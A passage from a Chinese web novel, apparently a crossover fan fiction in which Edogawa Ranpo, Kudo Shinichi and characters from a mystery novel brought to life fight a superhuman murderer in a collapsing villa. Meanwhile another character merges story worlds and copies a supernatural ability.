别墅大厅中摇摇欲坠的旧水晶灯终是坚持不住了,突然从空中坠落,破碎了一地的水晶玻璃如晶花般四散开来,巨大的碰撞声激得所有人赶来,仆从们惊骇地看着这个突发的意外事故,可渐渐地,水晶灯的残骸下,有鲜红色的血流淌出来。 发现了这一点,首先到的几个仆人立时高声尖叫起来。 将巨大的水晶灯的骨架好不容易搬开,被压在下面的人也显露出来,是那两个半夜来借宿客人中的一位,是首先进来的哥哥,他穿着陈旧的皮夹衣,裤子和手上都沾满了泥浆,来借住后也不洗漱,依旧是一副邋遢的样子。 江户川乱步带着新一从二层的楼上往下望,见到下面的尸体,新一皱了皱眉:“这是他们做的?” 江户川乱步平静道:“应该是那个‘管家’,他的手段更直接激烈些,我能看出,他应该是那种喜欢将矛盾对碰在一起,然后让它们发出格外绚丽色彩的人;而森岛爱她们,手法则更温和无声,她们的体能也决定了她们更适宜这种手段……当然,在世界观破碎后,她们是否还保留了这一风格,我也不能肯定。” “管家”离开后,森岛爱与小町小雪也告辞离开了。即便他们知道,对付外来者,他们还是团结在一起为好,但各自的性情,让他们对接下来的事没有多少畏惧。 新一倒是没有对这种方式做出评判,他知道这里是假的,如果连假的也要上纲上线,他也实在是太过拘泥形式了。如果是从前的他,自己不会做,其他人去做他也不会说些什么,但在经历了过去的一系列事后,他感觉,就算真的让他在这里做出某些事,他……未必会拒绝。只要对方是罪行致死的恶徒,只要是在拯救的前提下。 他清晰明白地看到了自己的改变。新一静默下来,眼中情绪复杂。 江户川乱步则是完全没有这种感想了,他问:“你有没有感觉到什么变化?” 新一愣了下,他观看了一下四方,道:“什么变化?” 乱步说:“没什么。不过我提议,第二个人还是由我们擒住为好,至于之后怎样,等之后再说。” 新一道:“我没意见。只要不让他伤到无辜的人就行。只不过,我们应当注意一下他们的武力值,这一个死去的,可是在接连的‘意外’后才倒下,先是被事先设置的机关飞箭射中胳膊,喝的水也被下了毒,后是在厨房中被厨师砍到了身躯,又在出来追杀我们后,从二层的楼梯上滚落下去,就这样,还是能够将别墅里的人追杀得毫无反抗之力。” “这最后一下或许是‘管家’的手笔,先前的有森岛小姐她们的,也有我们的,因是敌明我暗,所以才能在一开始取得优势,准确来说,他应该是包括我们在内的三方势力合力杀死的;可剩下的弟弟就不同了,作为故事叙事主体的他,更狡猾也更强大,哥哥死去了都没见他出来,可见,他已经将自己完全隐藏起来了,这样的人,就像暗地里的蝎子,若是不小心,被他一下带走也不是不可能的事。” 乱步点了点头:“我们这方太过欠缺武力……当然,或许有人还在隐藏,但只要他不表现出来,我们就只能当做没有……” 是“管家”吗?新一在思考,他与那人接触不多,但那种独特的行事作风,还有与黑衣组织破灭可能有关联的,他只能想到一人,就是在列车案中同样出过手的——望川涉! 而以他的才能,既与超越者在那次事件中有过交集,在此之后有了联系,也不是什么奇怪的事。新一舒出口气。 第123章 另外的邀请 裴真处在一种很奇妙的状态, 他感到自己手中正在握着一个不断跳动的莫名之物,当他将自己的主意识放在书外之时,规则与扭曲将这个“物体”侵染得密不透风, 艾略特站在它面前,没有放过它一丝的变化;而当他将注意力放回自己本体的时候,宛如世界破碎的“景象”就落入他的眼中。 别墅馆中其他人看不到, 他却是能见到的。他见到有猩红之物将整片的天空染红,陶瓷裂开般的外界中有锁链在活生生地碾过, 在海与天的交界处,另一个世界的影子幻影般闪烁, 属于它的“前锋军”已经在昨晚的时候,拜访了这个世界中的主剧场。 他们所做的一切, 既是在履行自己原本的故事, 也是在将另一个世界的信息带到这里, 他们杀人、追赶、被杀,又何尝不是象征着两个故事世界彼此间的碰撞、摩擦、交融呢? 天有异象,天之下的生灵, 又何尝能独善其身?他们同样会落入竞争, 因这是另一场“战争”的投影。 在别墅之内, 江户川乱步与新一分开了, 他飞快地奔跑在走廊通道中,在他的身后, 举着刀锯从后面追赶来的脚步声紧密又清晰, 他微微喘着气,从上一层一跃而下, 衣摆在空中飘起,他单膝跪地, 顺利着陆。他回头望去,见到那个魁梧的身影正在上方冰冷地望着他。 “他的这种体能不该是正常人该有的,”他一边跑一边思索,目光冷冽:“之前杀死了他的哥哥,让他陷入了狂暴,他现在正在无差别地追杀别墅中的所有人。” “没看见森岛爱她们,这很正常,因为这里是她们的主场,这座房子里还有暗中的通道,她们大可以躲在那其中,可也没有‘管家’的信息就很奇怪了,他又没有通道,之前的事他才是下了最后一手的人,到了现在还没被找到,躲藏得还真是好啊。” 他又回想起自己来这里的真正目的。“‘管家’?不,依他的性子,他若是‘无色之王’,那这件事早就被宣扬得人尽皆知了,‘医生’在外面的真实身份也被他曝光了,‘龙一’是一个好表现的性格,他的才能也让他如露头之锥,根本隐藏不了多久,至于原剧情中的森岛爱,‘无色之王’应当还没有要到女装的地步,先前横滨军部看到的一个身影也表明了他是一位男性……” 他冷静地拐过一个拐角:“所以只能是他了么?” “其实这并不难猜,”他默默地想:“‘京介’的伪装实在是不上心,他并没有要刁难我的意思,无为又何尝不是一种支持呢?他的力量若是用在此处,那什么剧情、什么解谜,一下子就会变成强权下的过场。我之所以一直不动,也是因为他的无为。我不知道他是怎么想的,也不了解他的性格,所以想要再观察一下。‘不动不错’这句话在他身上做了最好的诠释。” “可现在看来,”他猛地往前一窜,躲过后续飞过来的一柄锋利的投掷锯刀,森冷的刃从他的脸侧刮过,他的眼中闪过锋锐:“他来这里,不可能不知道超越者的计划。他们之中绝对有协议,否则的话,无论他想做什么,另一人都有可能破坏。只有是在一边的情况下,他才有可能将‘无色之王’带来,他甚至应当是他的帮手,他一直待在这里,就是为了在某一个时刻,从里面给予他帮助。” “这或许就是当初他在横滨帮他逃走的代价。”江户川乱步脑子转得极快。 “两人结成了联盟,这下子,无论‘赤之王’与‘绿之王’想要找到‘无色之王’,如何就‘书’的事质询他,都要想想后果。”江户川乱步将一系列的事捋清:“这是威慑,在一切都没有发展到最糟糕地步之前,展现己方的力量。在他知道那两位王者一日比一日地频繁找寻他后。” “现在他不见了,就是到了要他使用力量的时候了!”乱步在心中默默做出了推断的结果。“那位超越者让我来这里见他,还有另几位被他请来的,都是变量!都是过客!都是死水动荡中的游鱼,他在观察着我们会遭受到什么!” “但幸而,我们不会死,‘医生’的退场也没有遭到他的反对,”乱步在心中小小松了口气,他目视着始终追赶在他身后的杀人魔弟弟,心绪平稳如波,与最上层的风云变幻相比,现在的杀人狂魔只是个故事中的小小劫难。“当然,那些高大上都是虚的,我能见到的刀才是‘真’的,过不去,我就不用想以后了!”他往旁边一跳,躲过了杀人狂魔迅猛的一刀。 海面之上浪涛汹涌,之前的黑暗被激怒,高天中,银白色的雷霆如蛇狂舞,但若真仔细去看,就会见到这些雷电的内里,其实是由一条条细密的锁链构成的,大海一样氤氲成红色,直到披上了一层诡谲的猩气外衣,此世此处,一切的规常都已不再,只余下这么一副比世界末日都要更可怕的场景。 而就是在此处,在这样一副万物湮灭的景象中,一道人影就这样漂浮在半空中。白色的光从他的身上涌出,他浑身都充斥着这种极具威严的光芒。他站立在空中,就犹如手握威权之剑的王,他抬起手,轰隆隆的雷电就静缓下来,汹涌的大海就舒和下来,即将面临破碎的末日也仿佛要在他的面前退去,他钉在这里,就犹如钉住了这个融合世界最后一点的生机。 正是之前被江户川乱步念叨,自身所使用力量越来越大,无法再掩饰的裴真。 他往后望来,透彻的双眼仿佛见到了别墅中的一切。 “你也听到了,这个世界可能正在发生变化,”新一见到了从通道中出来的森岛爱和小町小雪,他与她交流了一番后,神情复杂地问:“我不知道让这里诞生出的人想要做什么,但我知道,这估计会威胁到故事空间本身。”毕竟无论如何,新的东西融入,怎么可能不引起旧一方的排斥。 “你好像对我们有一份多余的关心。”森岛爱是何等的敏锐与聪慧,她很快就明了这一点的来源:“你认识那位将我们写下的人吧?能不能告诉我,他是怎样的一个人?”她有些好奇的问,小町小雪也忍不住将脑袋转过来看她。 工藤新一愣了愣,很快,他就苦笑道:“只要你们没有自身的命运是由他人所定的恼恨就好。” 森岛爱沉默了下:“毕竟我等的诞生也是由他而来,他如果不是刻意地将悲苦都放在我身上,本身就心怀恶意的话,我想,我还是会愿意对他有所憧憬的。” 工藤新一笑了下:“怎么说呢,不愧是他塑造出来的人啊。都说主角身上有作者的影子,也不知道是谁说出过这句话。我不知应该如何向你形容他,但我敢保证,他是对你们有所喜爱的……” 新一对她说了很多天野鹤的事,“……虽然是侦探,但对事务所的事却不怎么上心。对名利也不追求,整天懒懒散散地休憩,说实话,见得多了,连我也产生了羡慕。” “感觉他的身上有一种无拘无束的自由感,虽然过去似乎发生了什么,但到底还是没有捆绑住他。尽管他维持着这家侦探社,就像是维持着一个社会上的身份。” “不要相信他不善推理的话,他绝对是有着一个最顶端头脑的家伙,只是从不会将之表露出来,大概是因为这样的生活,对他来说恰恰好吧。”因为知道森岛爱无法出去,所以他就给她们讲了很多有关天野鹤的事。说到后来,连他也不禁感叹道:“人的许多悲苦,皆因求不得而来,他活成这般模样,也不知是好是坏。但人的一生总是要自己过的,旁人的评价,就像是青烟一般,风一吹,就散了……” “还真是,人如其名啊。”小町小雪禁不住说。 森岛爱倒是笑了:“是这样一个人吗?我还是挺高兴的。” 他们聊了一些有关这本书作者天野鹤的事,不知道裴真就在外面看着他们。他们接下来要去做的,是设下对付进入别墅的杀人魔的布置,江户川乱步吸引住了“弟弟”的注意力,其他人得以有时间,去做更多的准备。 裴真知道,在这些人的手下,那位杀人魔若是没有其它手段,应该最终是敌不过他们的。这一次在故事中的情节发展与他所料的不同,大概是第一次尝试这种试验吧,有些生疏,后续可以改进,以后当引以为戒。 裴真又看向了书的外面。在艾略特的身边,那只大浣熊依旧在躺着,视线转换,在另外的一处地方,有两位客人将一切都看入了眼中。之前在翻阅着书本的也是他们,他们被邀请来的,不是真身,只是一部分的意志。 而他们之所以同意,是因为这份邀请是来自于——“无色之王”! 从不透露自己的踪迹,只从御柱塔中传出迭代的消息,才得以证实存在的王者,在横滨市中稍露一面,便取走了可以说是世界级瑰宝的“书”的一页,甚至从头到脚,他都没有做出过什么,比“白银之王”都要神秘,比“黄金之王”都要高妙,就是这一代的“无色之王”,使许多人好奇到了极点! 第124章 复刻异能 在空间与空间相融合间, 会有奇妙的影像显露出来,这是双方在交互中暴露的本质,而在世界与世界相融合间, 会有更加新奇诡异的东西显露而出,这是它们更为深层次的内质。就如同只有战争期才会将一些平日里隐藏的军备端上台面一样,也是这种时候, 你才更容易接触到这些。 裴真将心神收回,全神贯注地沉入到这一次的模拟融合世界中去, “扭曲”与“规则”肆无忌惮地在这种异能塑造出的空间中来回往去,之前还无法搞懂的爱伦坡的异能“莫格街的黑猫”也逐渐在他的面前揭开了内里的奥妙, 异能虽是天降,但其内并非没有奥秘, 只是之前, 人类无法达到能解读它的层次。 并且在这期间, 裴真略微挑起了眉头,他站在海与天交界的空中,在某一个时刻, 忽然睁大了眼, 一柄华美无双的巨大的宝剑出现在高天之上, 无尽的威压令周身的诡异变化也停歇了下来, 光辉席卷而出,连在最远处的别墅中也受到了影响, 还在奔跑交战中的人们也不由得将目光往外面投去, 因就在方才的一刹,他们的双眼俱被白色的光芒所填充。 它静静地彰显在世间, 宝石的剑柄显露其尊贵,修长的剑身无暇绝伦, 有银白色的锁链缠绕在其身上,尽头处开出了一朵鲜红的玫瑰花。这锁链与规则毫不相同,更像是一种禁锢与陪衬,它与剑纠缠在一起,经过了这么长的时间,也终是摸索出了一条与之相处的和谐之道。一眼望去,竟以为它是与剑双生而出。 现在,它突然开始异动起来。 一道信息如流水般去到了裴真的脑海中,恰如最后的一把钥匙落入他手里,裴真双眼明亮灿耀,在一种理性的思考状态下,他一挥手,就将刚才自己得到的体会凭借心神上的联系投入到艾略特的脑中。 下一瞬,艾略特的面上现出了笑,他的身上同样出现了白色的光,他看了眼躺在他身前的大浣熊,扭曲侵染了它,将其主人变成了自己的形状,他也未曾有一丝反抗,规则监禁了它,让其宿主无法从此世界中逃出,而现在,“书”也“背叛”了它,将有关异能的秘密的一部分在裴真面前展开。艾略特往前踏出一步,猩红空间的地面震颤,那些散落在地上的书蓦地飞起,书页飞速翻动间,有数个的故事空间要在这里逐渐生成而出…… 艾略特握紧了手,那隐隐要形成的新的空间就震颤着缩了回去,再之后,书本也随着艾略特的抽离力量而落了下来,盖在了大浣熊的身上,它身上的小浣熊感觉到了什么,微微抖动了下。 异能“莫格街的黑猫”已经在艾略特的面前没有任何秘密了,脱离了爱伦坡,艾略特也能随时将之布置出来,这也是他的异能力同样有空间系的,而“规则”与“扭曲”又过于高规格了,能衍生出与规定许多东西的原因,让他在复刻它时,减少了很大一部分的麻烦。 他这边的变化没有让其他人看见,能看到的人也只能看到裴真那里,这一次,是本体为马甲打了掩护,没有人知道,艾略特在拥有了那样可怕的两样能力后,还能在异能中进行扩展,他重新将注意力放回到了交融的两个世界上。 他们的变化引起了别墅中人的关注,但很快,他们就不得不将重心放回到了自己身上。江户川乱步与杀人魔进行过几番交手,不擅长战斗的他被追杀得狼狈不堪,幸而在中途,工藤新一带着森岛爱来救了一救,将他带入了一处从外面根本看不到的通道中。 通道的外面只是一面普通的墙,只有一个小的桌子做遮掩,而内里却是别有洞天,除开一开始的水泥地面外,接下来的都是天然的岩石层,有阴凉的水滴从上方有节奏地滴下,有些地方两边颇为狭窄,乱步感到一阵逼仄的拥挤。 “地势在向下,这个暗藏的通道恐怕很大,还是出乎我意料的大。”乱步在心中进行着分析,他没有出声,只是静静地走着。没有风,乱步倏然想到了第一位死者所在的那个房间。 “这里有好几个通往的方向,”就是在这时,走在最前方的森岛爱开口说话:“这座别墅其实比你们看到的时光都要悠久,我的……父母在将它买回到手里时,就对它进行了一次从内到外的彻底的翻修,这隐藏的通道也是在那时被发现的,他们追查过它的历史,只能找到一些有关海盗的传说,他们找出它时,还在内里发现了几具白骨,看样子是自相残杀而死,财宝倒是没有,应该是有胜利者将之运了出去。” 她一边往前走着,声音平淡稳定:“因为是在海岛上,出口那里也极其隐蔽,他们更是在那边修建了机关,所以他们也没有对这里面进行改造。甚至他们觉得有这种东西非常有趣,就没有动它,谁知道后面……” 她没有再说下去,其它人也没有接话。一时间,通道中回复了一片冰凉的寂静,森岛爱带着他们走了很远,因速度很快,时间也没有过去很久,直到他们走到一定地步,森岛爱才停了下来,她回转过来,问乱步他们道:“‘管家’也就算了,你们的另一位朋友去了哪里?” “你是说‘京介’?”新一问。 微弱的手提光中,森岛爱微微颔首。 “你不用担心他,”回答的却是江户川乱步,他同样十分平静道:“他有自己的事要做,现在都不在这别墅中了也说不定。”他想起了之前的那道通天彻地的白光,心中隐隐有所预感。 “他是和你来这里的目标有关吗?”新一问。 乱步想了下,不给出答案,依“龙一” 的性子,恐怕不会就这样放弃,他便将一些东西说了出来。不待新一从“无色的王者”的消息中回过神来,他就冲着森岛爱反问道:“在你原定的计划中,除了你会在杀死春江英才后使用这条通道吗?” 森岛爱咬了咬唇:“你想说什么?” “我忽然想到,‘管家’和我们不一样,”乱步说:“他是看过了原本小说书的,只要原作者有过一次通道机关的描写,说不定他早就知道了这里是如何进来的。” 他的话音落下,又是一片沉默。新一打破了沉寂,他哈哈笑着道:“现在的情况不是改变了吗?我们有了共同的敌人,他应该不会在这种时候还要来和我们敌对吧?他虽然是个奇怪的阴谋家,但应该不会做这样的不智之举……” 他的话音还未落下,耳边就传来了轰隆隆的声音。江户川乱步和森岛爱瞬间脸色就变化了,他们一致往一个方向跑去,森岛爱在前,乱步在后。“发生了什么?”新一赶忙问,小町小雪也一脸惶然。 “我藏起来的炸药被人发现了!”森岛爱的语气里带着股咬牙切齿。 “炸药?”新一大惊失色:“哪里来的炸药?!这次的案件不是心理案件吗?你不是通过日复一日的药物与心理的双层施加,让春江英才彻底陷入到疯狂之中,最终真的在这一次中,因纯粹的精神因素,惊悸而死吗?” 你还真是到了现在,也不忘对案件进行最后的总结啊,乱步的眼角抽了下。 森岛爱的话语也有些无奈:“这只是最后的手段,心理学虽然无痕无迹,但到底还是有不确定因素的,收藏一些东西,以作最后的防范,这也没什么。” “更何况,那点的东西也只是我的随手之作。”她轻描淡写道:“那么点量,我也没打算真正用上。” 神特么没什么!工藤新一不由在心里骂了出来,天野你这家伙,到底给你的女主角撰写了什么样的经历啊,这样一层层地叠加下去,真的好吗? 乱步叹了口气:“这估计就是作者的隐藏设定了,一些作品也有,在他们脑海中已经有了想法,但落到纸上时,却没有写出来,但既然故事成了真实的,这些东西说不定也就有了。所以我说,要是作者本人进了故事中,他们的优势会比我们大的多。” 森岛爱沉着脸,周围的通道因上方的震动也抖动起来,他们一刻不停,纵使知道上面的变化有可能不会影响到下方,他们也不愿赌。 直到他们从一处巨大的水泥石板中走出,扒拉开已经形成墙面的藤蔓,才有机会回望。“你之前的打算是做什么?”乱步问森岛爱。 森岛爱垂下眼眸,“春江英才在他的书房里藏了几支枪,我去将它们拿了出来,我准备用它们先暗算试试。” 如果不成,再用一些大威力、大范围的东西。但就像她说的,这些都只是最后的手段。 望着远方别墅的方向,森岛爱的眉头渐渐地皱了起来。 “怎么了?”小町小雪首先注意到她的异样。 “房屋居然还在……”森岛爱喃喃道。 “已经倒塌了一半的部分,这样还不够吗?”新一问。 “可能。”乱步回了一个模棱两可的回答。“他的体能很特殊,这点当量的爆炸,普通人如果幸运都有可能活下来。” 新一望望两边,也没有什么一切都已结束的提示,他振奋了下精神,还是道:“那就回去看看吧。还有‘管家’,我们也要去确定下他的情况。” 第125章 最后的交战 一行人又回去了别墅的废墟。这座海岛说大不大, 有一个很小的码头,从码头到别墅开车约要十多分钟,而现在, 他们所在的地方,就是距离码头最远的方向。 他们不敢朝海上望。因为大海已经是一副濒临毁灭的模样了。偶尔从黑暗中透出的猩红看一眼就能让人发狂,仿佛其本身已化为了一具苏醒的巨大怪兽, 天空裂开了,有某种物质在里面流动, 它们发出淅索的摩擦声,听之令人胆寒。 他们完全不敢在这里多待。 每个人的心情都很沉重。其中异样最大的是森岛爱, 她有很长一段时间都在注视着地面出神,新一想要安慰她, 但想了想, 也不知该说什么为好。 “这、这就是你们说的世界毁灭吗?”小町小雪痴痴然快要哭出来的模样, 她是刚才看过后受到影响最大的人,只是一眼,她就无法将视线从上面移开, 这幅场景虽然压迫感深重, 但有一种诡异的悲壮之美, 其内更是隐藏着无尽的幽暗之秘, 让人本能地不愿离开。 但灾厄临头的悚然感也是真的。 森岛爱叹了口气,她伸出手, 覆住了小町小雪的双眼, 用一种柔和到不可思议的语气说:“没关系,所有人都在不是吗?” 小町小雪恐惧到极点的心情奇妙地落了下来, “是啊,”她喃喃道:“世界要是毁灭了, 没有人能逃得过,没有幸运者……” 江户川乱步与工藤新一互相对望一眼,都没有说话。他们这两个从外面来的,此时最好还是不要彰显自己的存在感。 他们走了有半个多钟头,才堪堪看见别墅的余貌。它倒塌的一面只能瞧见一角,靠近他们的一方还是有不少完好之处的。“如果这样都没能解决他的话……”新一不由说。 江户川乱步冷笑了一下:“连之前的我们都不害怕,现在出了这样的事,难道他的状态还能比先前更好吗?”他说出的是一个很简单的道理,迅速地将被震撼的几人的心境拉了回来。 “是啊,”新一也笑了,他大大咧咧道:“本来就没打算退缩不是吗?那可不符合我名侦探的美学!”他眨了下眼睛,将小町小雪逗笑了。 他们小心地继续往前靠近。 “将我们邀请过来就是为了看这些吗?”一处未知的空间中,布置简洁不失高雅,奢华的长形的沙发上,或仰躺或端坐着两个人,他们姿态闲适随意,似乎并不为自己来到一处陌生之地感到慌张。 其中一人脊背挺直,他端起面前茶几上的一杯茶,毫不在意地轻抿一口:“将书籍中的内容变为真实,这确实挺有意思的,但和我们接受邀请的来意不符吧?” 另一人没有说话,似是倦极。 艾略特已经从红月的空间中离开了,这一次的试探也算是接近了尾声,收获颇丰的他心情还是很不错的,他笑道:“没关系,待会由他亲自来和你说。” “可惜的是,”他轻松道:“你们没有要进去扮演两个人的想法,否则的话,里面故事的发展一定会更加的新奇有趣吧?” 先前说话的人顿了顿,很快,他就冷呵道:“这两个杀人魔的身份是挺有意思的,但你不觉得,让我这个文弱的人员,去演这个要一直动手的人有些强人所难吗?更何况,”他茶杯上的双眼微冷:“我可不觉得我是什么反派成员。” 艾略特微笑回视:“扮演人物没有什么限制,要如何做都随你们的心意。如果你们愿意,就做两个普普通通的雨夜借住客也没什么。更何况,《黄昏之血》和《蔷薇凋落的别墅之馆》这两本书你们都看完了,不觉得穿进去改变原有的剧情线路,改易他们的命运轨迹,与你们所欣赏的人结交,杜绝悲剧,创造出一个你所满意的结尾来,这是一件非常有意思的事吗?” “不觉得。”这人十分干脆地冷淡道:“我自己身上的事都还没处理完,自身的命运都无法改变,谈何去拯救他人。有这样想法的,如果不是生活中闲的,将过多的泡沫般的爱投射到虚幻的人物身上,就是在现实中缺乏了这些东西,不得不去向不存在的人身上索求。” “妄图改变命运的人是傲慢的,其实绝大多数人都没有圣人的心境,能那么想,只不过是站在了过高的角度上而已。有本事在现实中多拯救一个人,但我想,这样的人都做不到的吧,因为他们是害怕受伤害的胆小鬼,惧怕真实的恶,进去之后谁都想拯救,不过是膨胀了而已,摆不正自己的定位,结局只能是悲剧。” “哎呀,”艾略特稍微睁大了眼,他没有就这番话评论什么,尽管这些话恐怕打击到了很多人,他转向另一人道:“你也这样认为吗?” 倦怠的人抬起了头,他看向之前发话的人,微微摇了摇头:“你对拥有善良的人太刻薄了。” 见到艾略特还在看着他,他不得不提起精神,稍稍补充了几句:“害怕受到伤害是正常的,人要保护自己,这是天理,迈出去的是勇敢者,退缩的也无罪。想要拯救他人,是每一个人年幼时都有过的梦,梦有什么道理呢?它也同样是成年人灌输进去的,做不到就继续成长就行,长到足以有能力去实现就行,不需着急,没有谁规定必须要怎样做。” 他坐起了身来,腰背往前躬,整个人显出一副颓丧到了极致的姿态:“天真也没什么,不如说,比那些肆意伤害他人的犯罪者们强多了,只要手段不坏,这样的人,其实都只是没从童年中走出来的小孩子罢了。” 说完,他就重新仰躺回去,呆愣地看着上面,像是在发呆。 两个人没有再说话了,似是对对方的见解毫无接受之意。艾略特也没有劝解的意思,他同样端起一杯茶来,微笑地将之喝下。在他们的面前,别墅中发生的一幕幕都呈现在眼前,在茶几的两边,各自摆放着几本封面相同的书,其中有摊开的,但在座几人都没有再去观看的意图。因为,这里边的内容,他们都已记住在了心中。 别墅的废墟中,没有看到那个杀人魔,反倒是那个“管家”正静静地站在上面,他的衣衫沾上了灰,有些狼狈,但看其样子,没有受到一点的伤。 工藤新一让另一人停留在这里,自己谨慎上前,听见声音,“管家”含笑地往这里瞥来一眼。 “‘傀儡师’,你是那个叫‘傀儡师’的情报商对吗?”新一警戒地问。 “管家”叹了口气:“看来这个奇怪的称号要跟着我一辈子了。真想有一个能瞬间改变所有人认知的东西啊,这样的话,不论他们给我取多难听的外号,我都可以将它刷新下去了。” 期待本体能够在金手指中抽出这样的神器。 工藤新一一下子冷汗就出来了:“这样的东西给你才是全人类的灾难吧?你这家伙恐怕立刻就会让人们陷入争斗与混乱中吧?” “算了,”他纠结了下道:“我还是不叫你‘傀儡师’了,那,情报商,告诉我,刚才的爆炸是你引发的吗?” “管家”说:“不是我还能是谁?” 新一道:“那你杀死他了吗?”现在的他已经能够很平静地问出这句话了。 “管家”,即望川涉看着废墟:“应该没有。” “那他现在在哪里?”新一瞬时就警惕起来,他留意着周身的情况,一边问道。 “我也不知道,”望川涉说:“可能是在下面吧。” 新一愣了下:“你没有去找过吗?” 望川涉笑了起来,笑意里带着一种不曾掩饰的恶劣,他轻声说:“我自然不会去。我去的话,不就是我一个人面对着那家伙了么,我是在等你们,共同的敌人不就是要共同面对吗?少了你们,这出剧就少了很重要的一部分,这可是最后的高潮啊!” 新一感到自己的额上绽出了青筋,他害怕自己口吐恶语,只能强笑着说:“是啊,我们也自主回来了……这是最后的戏份,要众志成城……你不会再做些妨碍我们的事吧?”他怀疑地说。 望川涉举起手来,他大声道:“怎么会,我可不是拖后腿的那种人!” 新一就只好回去与乱步相商。“你说他是策划他人复仇的情报商人?”乱步问。 “是啊,具体名字是什么没有人知道,行踪也常常无人知晓,”新一将自己对于此人所有的调查都说了出来:“很有钱,就是不知道钱是从哪里来的,可能是收了委托人咨询的费用。有许多人的联系方式,黑白两道都有,喜欢混乱,对人心有着如利刀一般敏锐的嗅觉,是一个神秘到了极点的人物。” 又是一个这样的家伙?乱步在心中想,这些人聚在一起,真的不会要做什么吗?但随即,他就没有再想这些了,因为他听到了,下面响起了轰隆隆隆的声音。 那个怪物没有死。乱步呼出口气,等他出去后,一定会给写出第二本书的人带去亲切的问候,并询问他,是怎样想出这样的人设。但此刻,他们要继续战斗了。 看着他们现在所身处的地方,他目光微转,想出了一个绝对能杀死他的办法。想到“龙一”刚才与自己说的有关情报商的事迹,他抬脚往前面走去。 第126章 剧目的尾声 江户川乱步与望川涉很快就达成了协议。望川涉是想要看见人的灵魂在痛苦纠结中迸发出不一样的光彩, 但从另一方面来讲,正面人物的情绪,不也同样能够诞生出足够惊艳的辉光?只瞧见一面, 那未免也太过狭隘了。 他看了眼海的外面。在那里,本体已经将融合世界带来的碰撞渐渐平息了下去,他收回了目光, 注视着一片废墟的下方。他听见了轰隆隆的强烈碰撞声,还有愤怒狂暴的嘶吼声, 化为废墟的别墅地面陡然往下坍塌了一块,下一刻, 那个恐怖的身影终于从下方探出一个头来。 果然,拥有这种非人的身体并非是没有代价的。他的理智恐怕在愤怒中没留存多少, 之前的他是狡猾奸诈的, 但现在的暴虐将这些压了下去。 “砰!”是枪声响起的声音, 站在最远处的森岛爱小姐毫不犹豫地就开了枪,黄铜的子弹射入到了他的一只眼睛中,猝不及防的他左眼瞬间就留下了鲜血, 他发出野兽受伤般的怒吼声。 “还好, 子弹还是能给他带去伤害的。”森岛爱的心中下意识地松了口气。但几乎是瞬间, 杀人狂魔的身影就从废墟中拔地而起, 他的身形又比方才大了好几分,现在的他已经完全看不见昨夜入住时的影子, 肌肉虬结如魔, 他猛地朝着距离他最近的江户川乱步冲去。 “该死,”纵使早知道有这一刻, 乱步的心中还是不由抱怨起来:“我可从来就不是什么战斗人员啊!” 他飞快地往旁边扑躲开。 “这几个人真的是怪物的对手吗?”空间中,之前说过话的人问。 “怪物已经受伤了。”另一人声音低沉的回答他。 是啊, 这杀人魔在之前的炸药爆炸中,可不是什么伤害都没受到。等他整个的身形出现在人前时,森岛爱就注意到了他身躯上的伤口,焦黑的血肉与鲜红色交织在一起,宛如一道炙烤出的伤疤。 见到这个,森岛爱精神一震,手中的枪更是毫不客气地往他受伤的地方射击,怪物躲过几次,最后猛的朝她那里飞扑而去。森岛爱迅速逃走。 “砰!”这一次是乱步在后面开了枪。知道了春江英才的收藏后,他们也都配上了武器,是森岛爱早前收集起来的。新一也在旁边帮忙。 望川涉笑着从一边加入了进来。江户川乱步很明显能感觉到,在爆炸受伤过后,怪物的速度比最开始自己遇见时,要慢上了一些。他大声道:“按我们说好的做!” 他们开始有条不紊地配合起来,与此同时,在暗地里,他们也悄悄地将阵地往一个方向转移。幸而怪物的理智没剩多少,他们做得也隐蔽,没让他察觉到。 先前设下的陷阱终是利用起来了。森岛爱与小町小雪躲在角落里,在怪物魔狂奔过来时,抓紧了时机,将手中的绳索猛地一拉,怪物被绊倒,正面摔在满是落叶的地面上。下一秒,他就痛的大叫起来。因为叶子下满是密密麻麻的钉子,尖端俱都是朝上,将他的一张脸扎得满是孔洞。 一张网从树的上方被扔下,碎裂的刀片在绳网的节点上闪烁着寒光,纵使只是一秒怪物就将之撕碎,但太过锋利的刀片还是给他身上留下了不少的伤口,他追击过去,身后是其留下的一个个的血的脚印。 在绊倒他后,森岛爱与小町小雪连一息都没有停留,立时往后飞逃。 “这些都是别墅中留下来的东西,不知是哪一代主人配置的,”不久前,森岛爱将另外的几人带到一处地方,指着那些不知多久没动用的物品道:“有些还能用,估计是为了狩猎野兽,这座岛在最开始的时候并不是安全的。我们可以挑选出一些有用的。” “要尽快,”乱步说:“你们之前不也是在别墅中做了一些布置吗,可以转移到外面来,和后面的形成合围,我需要限制住他一段时间。” “还有这些。”森岛爱掏出一堆密密麻麻的各色的小药瓶。 “这是……”新一的眼中闪过一丝惊愕。 “是春江英才所有的药,还有医生最近一次带过来的。”她将之拧开,闻了闻:“里面有很多催眠的,也有其它方面的,都用上吧,‘外敷’也是一种有效的用药途径,只要能起到一点作用,就不枉我想起它们。” 她将这些药物遍撒在钉子上,现在,它们嵌入到了怪物的肉|体中。 他们将它当做了一个巨大体型的、极具危险性的野兽在狩猎。他们各自配合,利用起地形,用枪在远距离射击,用斧头在近距离纠缠,他们利用极短的时间,布置下自己能布下的所有陷阱,每个人都冷静镇定到不可思议,将自己所能做到的全做到,且毫不贪功,不给怪物攻击到自己一次的机会。 在这里的每一位(除了小町小雪),在外面都可以说是主角式的人物,就算是做坏事,也绝对是BOSS级别的,而当这些人充分地将自己的智慧与行动力利用起来,并毫无介怀地与身边同样的人合作共赢,这样的他们,效率高到不可思议,看他们对付那个可怕的怪物,更像是在聆听一首激昂且富有节奏的歌曲,每个人在里面都有高光的时刻,他们在怪物身上留下的伤口,都是他们智慧与能力的证明。 观看的人也不由为他们的坚持与努力抚掌赞叹。 直到他们终于将他引到了一处地点,这个时候的怪物已经伤痕累累了,闯关的人疲惫不堪,但他们的双眼都是镇定且冷静的。这一次用的还是浇了油的绳索的网,因为没有其它材质的,即便它依旧在怪物的撕扯下坚持不了多久,但……江户川乱步的双眼亮了起来:“就是现在!” 他低喝,因为怪物没有第一时间挣脱出来,新一与他霎时牵起两条粗大的铁的锁链,同时以怪物为中心,面对面地相互奔跑起来,怪物被铁索捆住,行动被制止,但也不知是不是之前的药起了作用,他没能立时逃出,铁索将之束缚住,双手被困在身体两侧,他疯狂挣扎起来。 